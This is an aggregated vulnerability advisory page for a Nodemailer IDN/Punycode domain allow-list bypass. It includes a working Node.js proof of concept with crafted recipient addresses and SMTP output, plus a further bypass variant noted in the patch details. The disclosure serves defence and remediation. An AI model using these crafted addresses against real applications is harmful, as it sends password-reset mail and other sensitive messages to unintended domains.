Nodemailer before 9.1.0 IDN/Punycode Domain Allow-list Bypass

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Nodemailer before 9.1.0 IDN/Punycode Domain Allow-list Bypass

Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domains via SMTP.

Source published

16 Sep 2026 21:47:02 UTC

Source modified

17 Sep 2026 14:43:20 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addres…

Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domains via SMTP.

Source published

Sep 16, 2026, 9:47:02 PM (timezone not stated)

Source modified

Sep 17, 2026, 2:43:20 PM (timezone not stated)

Saved here

11 Nov 2026 18:10:21 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addres…

Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domains via SMTP.

Source published

16 Sep 2026 22:18:30 UTC

Source modified

22 Sep 2026 20:25:55 UTC

Saved here

25 Oct 2026 16:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain

### Summary Nodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**. An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix. Because the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required. ### Details `lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this: ```js // lib/mime-node/index.js try { if (/[\x80-￿]/.test(user)) { encodedDomain = punycode.toUnicode(domain.toLowerCase()); // line ~1338 } else { encodedDomain = punycode.toASCII(domain.toLowerCase()); // line ~1340 } } catch (_err) { // keep domain as supplied } return `${this._normalizeLocalPart(user)}@${encodedDomain}`; // line ~1346 ``` `punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically: * removing **Ignored** code points such as `U+00AD` SOFT HYPHEN, * **Mapping** full‑width / compatibility characters to their canonical ASCII forms, * Unicode **NFC** normalization, * validity checks. As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as: * the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and** * the address emitted in the `To:` / `From:` headers (`_convertAddresses`). So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6): | recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to | |---|---|---| | `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` | | `victim@ｃｏｍｐａｎｙ.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` | | `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` | This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases. **Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`). ### PoC Environment: Node.js ≥ 18, the published `[email protected]`. No special configuration; the discrepancy is in domain normalization itself. `poc-idn.js`: ```js 'use strict'; const net = require('net'); const url = require('url'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'company.com'; // the only domain the app will mail const RECIPIENT = 'victim@compa\u00ADny.com'; // attacker input: invisible U+00AD inside "company" // The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way: const seen = url.domainToASCII(RECIPIENT.split('@').pop()); console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen), seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : ''); // A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits: const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'reset your password', text: 'secret link' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install [email protected] node poc-idn.js ``` Actual output (Nodemailer 9.0.6): ``` validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain) nodemailer transmits : RCPT TO:<[email protected]> ``` The application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<[email protected]>` as well. A containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<[email protected]>` and reports the recipient domain as `xn--company-pka.com`. ### Impact Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes: * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library; * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`); * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing). ## Patched in 9.1.0 Domain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@compa­ny.com` resolves to `company.com`, matching `url.domainToASCII` and browsers. One caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `[email protected]/mail.corp.example` encodes to the deliverable `[email protected]` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper. On severity, "attacker-registrable" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.

Source published

8 Sep 2026 21:33:32 UTC

Source modified

17 Sep 2026 11:56:00 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Publisher rating · MODERATE